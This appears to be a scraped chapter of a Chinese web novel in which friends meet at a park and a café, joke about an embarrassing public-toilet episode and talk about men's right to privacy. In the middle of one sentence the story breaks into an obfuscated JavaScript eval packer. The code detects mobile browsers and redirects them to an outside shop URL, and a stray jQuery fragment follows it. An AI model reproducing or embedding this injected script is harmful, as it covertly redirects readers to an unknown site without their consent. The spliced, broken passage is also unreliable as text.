妈——!”陆清微把衣柜门哗啦推开,又哗啦推回去,再推开,最后干脆把一整摞叠好的T恤从隔板上抽出来,抱在怀里,下巴压着领口那一叠。“你是不是又动我东西了!”
“帮你理一下你还不高兴啦?”他妈妈的声音从客厅方向传过来,隔着厨房的水声。
“理一下?你管这叫理一下?”陆清微从衣服堆里抬起头,表情像被人踩了尾巴,“我那限量版的taro手办呢?我搁书架第二层的那个!”
“不是在那里吗?”他妈妈的声音顿了一下。
“没有啊!”
”哎哟,那糟糕了,前几天你婆婆来过!说要送给你什么侄儿,我拦住没让拿,恐怕走的时候偷偷拿了!”他妈妈在围裙上擦了擦手一脸歉意地走出来。
陆清微怀里的T恤哗啦全掉地上了。
“……什么鬼?”他的声音飘了,像踩在棉花上,“那是我排了三个小时队抢到的限量版。”
陆清微站在原地,脸上的表情从震惊到愤怒到绝望,最后定格在一种“我已经没有灵魂了”的空白上。
他掏出手机,拇指在屏幕上噼里啪啦点了几下。
兄弟一生一起走
野木无缚:【语音消息】我要死了。
晚禾迟愧:?你咋了
野木无缚:我taro手办。限量版。排了三小时的。被送人了。
旧识不言:……节哀。
野木无缚:节哀个屁啊!出来耍不?今天星期天,我需要散心。
晚禾迟愧:可以可以,刚好方案写完了。
旧识不言:走呗,我刚好今天出去给陈叔买点茶叶。哦对了,我朋友诸星零……他对这里不熟悉,我可以带他吗?
野木无缚:又不咋滴,带呗。顺便让他见识一下人类社会的险恶。
晚禾迟愧:【表情包:微狗子点头】
野木无缚:滚啊!
“哟,琳娃子,又要出门了呀。”陈叔坐在保安门口的小马扎上,手里摇着一把蒲扇,扇面上印着某家药厂的广告,边缘已经磨出了毛边。
看见君若琳从楼道里出来,目光越过她的肩膀,落在后面那个年轻人身上,“咦?你又带你男朋友出来啦?”
君若琳脚步顿了一下,笑着摆摆手:“额……不是不是,只是朋友。”
诸星零站在她身后半步。陈叔的蒲扇又摇起来了,他瞥了君若琳一眼,目光在她侧脸上停了一下,然后移开,目视前方:“哦。朋友。”尾音微微往上翘
君若琳:“……”
地铁上人不算多,但也没有空座。两人并排站着,肩隔一拳的距离。君若琳拉着吊环,手腕上那串蓝珠子随着车厢的晃动轻轻撞在腕骨上。
诸星零第一次坐地铁。他知道这是什么——hikari给他看过人类交通工具的资料片。但实际站在这里,感觉和资料片完全不一样。车厢在晃,人在晃,吊环在晃,他的余光里有两个穿校服的女生举着手机,镜头偷偷往他这边偏。
他往君若琳那边挪了半步,侧身避开镜头的方向。
君若琳察觉到了,偏头看他:“怎么了?”
“……没怎么。”他目视前方,“人多。”
车厢里明明空得很。
君若琳憋住笑,转过头去看车窗外的隧道。肩膀抖了两下。
————
舒霁站在君若琳卧室门口,端着水杯一脸复杂地看着卧室……
“……”
怎么不说一声就走了?以前出门都会问她要不要带什么……
还会等她给她扎头发……
总感觉若琳怪怪的……
————
四人约在地铁站附近的公园门口汇合。公园旁边有一个公共厕所。
夏允禾先到了,站在厕所门口的冬青前面,右手无意识地摸着腕上那只玉镯,脚尖碾着地上一个不知谁丢的易拉罐拉环。
她老远就朝君若琳招手:“喂,若琳这儿!”
君若琳还没反应过来,就被夏允禾一把搂住了脖子,整个人被勒得往前踉跄了半步。
夏允禾的另一只手在她头上胡乱揉了两把,把她刚盘好的头发揉成了鸡窝。
“你今天怎么又穿这么少?”夏允禾松开她,上下打量了一遍,然后伸手捏了捏她的脸,“脸都冻凉了。”
“……我不冷。”君若琳无奈地把她的手扒拉下来,开始重新盘头发。
夏允禾身后几步就是男厕大敞着的门,君若琳走过来时一个不经意的转身,视线就那么直接越过了洗手台的镜子,穿过门框——
“我天——”她整个人迅速往侧边转了九十度,肩膀差点撞上夏允禾的下巴,“他们男厕所没门帘的吗?!”
“……嗯……还是你懂我。”夏允禾把手机揣进裤兜,声音里带着一种”终于有人跟我想得一样了”的如释重负,“我和清微路上遇到的,一起来这里。刚到呢,结果一不小心——”
她往男厕门口偏了偏下巴:“就看到那个小便池,有个男生正对着门口站着。屁股光溜溜。。。我服了”
“爸了个根的,”夏允禾啐了一口,“这设计的人是不是脑子有病?门一开正对着外面,啥都看得见,伤风败俗。”
君若琳下意识瞥了一眼诸星零。他已经把脸转向了街对面那家五金店的招牌,目视前方,仿佛那招牌上有什么宇宙级的秘密。
就在这时——
“哎我去——!”
一声惨叫从男厕里传出来。然后是隔间门被撞开的声音,然后是一个人提着裤子冲出来的声音。
“啊啊阿姨,有人啊!有人啊!”
陆清微从男厕里冲出来,裤子拉链还没拉好,一只手提着裤腰,另一只手在空中挥舞:”里面有保洁阿姨!有保洁阿姨在男厕所里打扫!我隔间门没锁她直接就推门进来了!“
他的脸涨得通红,从耳根红到脖子根,像被人泼了一盆热水。
“哈哈哈哈哈哈哈哈哈——!”
夏允禾愣了一秒,然后爆发出惊天动地的笑声。
她一只手捂着肚子,另一只手指着陆清微,话都说不连贯了:”哈……哈哈哈哈……你你你……你被保洁阿姨看光了?“
”什么叫看光了!“陆清微急了,提着裤子跳脚,”她就推了个门!我及时挡住了!就看到个背影!”
“背影也是看了呀。”君若琳在旁边补刀,努力憋着笑,肩膀一抖一抖的,“微子,你的清白没了。”
“君若琳你闭嘴!”陆清微瞪她,然后看到了站在旁边的诸星零,嘴巴比脑子快半拍,“哟,君若琳小男友来了?”
空气安静了三秒。
“????”君若琳睁大眼睛,视线从陆清微脸上弹到诸星零脸上,又弹回陆清微脸上,“你嘴贱是吧?我们是普通朋友。”
“哦哦————行。”陆清微做了个投降的姿势。他现在裤子还没拉好,做投降姿势的时候裤腰往下滑了半寸,他赶紧一只手提住。
“哟,红内裤。搞快把你那裤子搂好,别在这里嘴贱。”
“啊啊啊我去,你眼瞎啊,这不是红的。”
“啊啊啊你快搂啊,谁特么稀罕看清楚啊!”
诸星零还靠在冬青旁边的墙上。他的目光从陆清微身上移开,扫过君若琳的侧脸,她正瞪着陆清微,耳尖在午后的阳光里泛着一层极淡的红。
他松开交叉的手臂,把手插进外套口袋。他偏过头,目光落在冬青丛里,极轻地啧了一声。
“哎哎,我问你。”夏允禾笑够了,抹了抹眼角笑出来的眼泪,手指朝男厕门口晃了一圈,“这个男厕所,我们一眼就看得到你们的小便池。你们男生不尴尬吗?”
陆清微终于把裤子拉链拉好了。他顺着她手指的方向看了一眼,又转过头看了看诸星零,像是在寻求某种同盟。
诸星零靠在冬青旁边的墙上,双手交叉抱在胸前,没有接他的目光,他刚才也差点在那个厕所里解决,幸好忍住了。
陆清微只好自己开口:“额……小时候也尴尬,但后来吧——被迫接受了,就习惯了。”
“而且啊,我们的小便池都是紧挨着的,但是我们上厕所都必须隔一个……不然会被说是变态。”
“那还不如弄隔间呢。”
“你们都不向有关部门反映吗?我们女生遇到不公平的事,可是会争取的。”夏允禾皱着眉说道,右手又摸了一下玉镯。
“嘶……反正我没听到周围有人说。”陆清微把已经半干的掌心在裤子上搓了一下,“我感觉吧,肯定有在意的……但都不敢说出来,怕被别的男生说矫情。”
“这有啥矫情的?这关乎隐私问题。”
“哎呀呀,”陆清微挠了挠后脑勺,“我们男生可是从小被隐形教导没有隐私的……甚至可以随地大小便。”
“……这可不公平吧?不管男的女的,都必须要有隐私吧。”君若琳喃喃道。
“而且这该说是纵容宠溺对你们好呢?还是在害你们呢?”夏允禾轻笑道。
“类似于'伪善'吧,表面上看似是在宠溺他们,对他们宽容,实际是在害他们。”君若琳双手环抱说道。
“但现在大多数男生都自认为是觉得对自己好。”
“谁知道呢?我反正不喜欢这样。”陆清微心有余悸地看了一眼男厕门口,“我有时候正在上厕所呢,保洁阿姨直接就把门打开了,或者直接就把扫把伸进来了,我的天……今天是第二次了。”
“男厕所男保洁,女厕所女保洁呀应该……”
“我也觉得……我记得前阵子就有一个女保洁在男厕所被骚扰了……”
”我服了,真是禽兽……”夏允禾啐了一口。
几个人的影子被午后的太阳压在脚边,短短胖胖的。
话毕,几人便去到了附近的咖茶馆。
“她一份奶油巧克力小狗蛋糕和一杯桂花酿小芋圆——”夏允禾的手指在菜单上逐一点过去,“——他自己一份提拉米苏和冰美式,我自己这个草莓的。你呢?诸星零。”
他的目光在菜单上扫了一圈,又落回君若琳面前那杯桂花酿上,顿了顿:“……就她那个。”
点完单,陆清微就坐不住了。他掏出手机,凑到诸星零旁边:“零哥,加个微信呗,我拉你进我们兄弟群。以后就是自己人了,有啥活动群里通知。”
诸星零看着他递过来的手机屏幕,上面是一个绿色的二维码。
“……怎么加好友?”
空气安静了两秒。
陆清微的表情从热情变成震惊,再变成同情:”零哥……你不会?”
”……”
“我的天,“陆清微一把抓住诸星零的手腕。
诸星零皱眉,刚想把手抽回来,陆清微已经眼疾手快地把他的手机掏出来了——那手机是君若琳帮他买的,壳子是君若琳挑的zero奥特曼。
锁屏壁纸也是zero,通讯录里只有一个号码,备注”琳”。
“哎?你也喜欢zero?”
“……”
”来来来,小弟我教你。这个图标看见了吗?点它,对,然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900465|212425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后……哎你这手机号是琳姐的副卡?”
”……嗯。”诸星零的声音有些虚。
”哦——”陆清微拖长了音调,目光在诸星零和君若琳之间来回扫,“副卡啊。那亲密付也是绑的琳姐的?”
诸星零没说话。他偏过头,目光落在窗外,耳尖微微发烫。
“啊?真是啊?”
君若琳在旁边扶额:”……他……额……我……”
“理解理解,”陆清微一脸“我懂”的表情,手上动作没停,“零哥你放心,以后有啥不懂的问小弟我,包教包会!”
诸星零被他按着操作了五分钟。
群名:兄弟一生一起走。
群成员:野木无缚、晚禾迟愧、旧识不言、新成员诸星零。
陆清微以迅雷不及掩耳之势把诸星零的群昵称改成了“零哥(高冷)”。
诸星零看着屏幕上那个昵称,手指顿了一下。他在设置里翻了半天,没找到改昵称的入口,又退了出来。“……改回来。”
夏允禾在群里发了一条:【欢迎新人!发红包!】后面跟了一串鞭炮表情包。
陆清微靠在椅背上,手里的吸管在奶茶杯里搅了两圈,冰块撞在杯壁上叮叮当当。他忽然“嘶”了一声,搓了搓胳膊。
“哎我去,我现在一闭眼还是保洁阿姨那张脸。她推门那一下,我魂都飞了。”
夏允禾咬着叉子:“你至于吗?不就看了个背影。”
“什么叫至于吗!”陆清微一拍桌子,“你知道这是我这个月第几次吗?第三次!第一次是我在隔间里,阿姨直接把拖把从底下伸进来了!第二次是我正对着小便池呢,阿姨在后面喊'让一让'!今天是第三次!我现在上厕所都有心理阴影了,进去先探头看有没有人!”
君若琳憋住笑:“那你们就没跟物业反映过?”
“反映啥啊。”陆清微垮下脸,“我上次跟我妈说,我妈说'人家阿姨多大年纪了,什么没见过,你一个大小伙子矫情什么'。”
“爸了个根的,”夏允禾啐了一口,右手摸了一下玉镯,“这跟年纪有啥关系?隐私就是隐私。我们女生厕所要是有男保洁,早就炸锅了。”
“就是啊!”陆清微委屈巴巴,“但你跟谁说都没用。我爸说'男孩子怕什么看',我同学说'你是不是太小了不好意思'——我去!这跟大小有什么关系!”
君若琳手里的杯子顿了一下。她看了一眼陆清微,又看了一眼旁边一直没说话的诸星零。
“其实不止厕所吧。”她慢慢说,“我之前听一个男同事说,他都二十多了,他妈妈还会随便进他房间翻他抽屉。他说了好几次,他妈说'你是我生的,有什么我不能看的'。”
“对对对!”陆清微像找到了知音,“我婆也是!我手机放桌上,她拿起来就看!我设密码,她说'你是不是有什么见不得人的'。我去!我就不能有隐私吗?还有我那些手办——”
他说到一半,忽然想起了什么,声音低了下去:“……我那个泰罗手办,我婆说送就送了。她连问都没问我。那是我排了三个小时队抢到的。”
桌子安静了一秒。
“还有洗澡!”他很快又振作起来,一拍大腿,“我洗澡的时候,我婆能直接推门进来拿东西!我说了多少次'我在洗澡',她说'你小时候我还给你洗过澡呢'——那是小时候啊!我现在都二十了!”
“我真的不喜欢我婆来这啊!但又显得我不孝顺……”
夏允禾笑得直拍桌子:”哈哈哈哈你婆也太逗了。不过说真的,你们男生是不是从小就被灌输'不能在意这些'?“
陆清微想了想,挠了挠后脑勺:“好像……是吧。小时候哭,大人说'男孩子哭什么哭';小时候说怕,大人说'男孩子怕什么怕';现在说在意隐私,大人说'男孩子矫情什么'。好像我们只要说'我介意',就不够男人似的。”
他顿了顿,声音低了一点:“其实我也知道不对,但每次想说的时候,就会想'算了,说了也没用,还显得我事多'。然后就……不说了。”
桌子安静了几秒。
诸星零一直低头看着那杯还没动过的桂花酿,手指搭在杯沿上。这时他忽然开口:
“……介意就是介意。和是不是男人有什么关系。”
三个人都看向他。
他被看得不太自在,偏过头,目光落在窗外:“在战场上……受伤了要说,不舒服了要说。不说的话,会死。”
陆清微愣了一下,然后拍了下大腿:“零哥说得对!我就是太惯着他们了!从今天起,我要争取我的隐私权!”
夏允禾翻了个白眼:“你先争取到你婆不看你手机再说吧。”
“……那还是算了。”
君若琳忍不住笑了。她端起杯子抿了一口:
“其实这不是对你们好。表面上说是'男孩子不用在意这些',好像是在宽容你们,实际上是在告诉你们——你们的感受不重要。你们介意了,就是你们的问题。”
她放下杯子,看着陆清微:“但感受就是感受。疼了会叫,冷了会缩,被侵犯了会不舒服。这跟是男是女没关系。”
陆清微张了张嘴,没说出话。过了几秒,他挠了挠脸:“……琳姐,你这么一说,我怎么有点想哭。”
“憋回去。”夏允禾说,“男孩子哭什么哭。”
“???你刚不是还说隐私重要吗!”
“哈哈哈开玩笑,你看我这个语气像不像你婆——?叫声婆婆来听听?”
“我去——!滚啊!”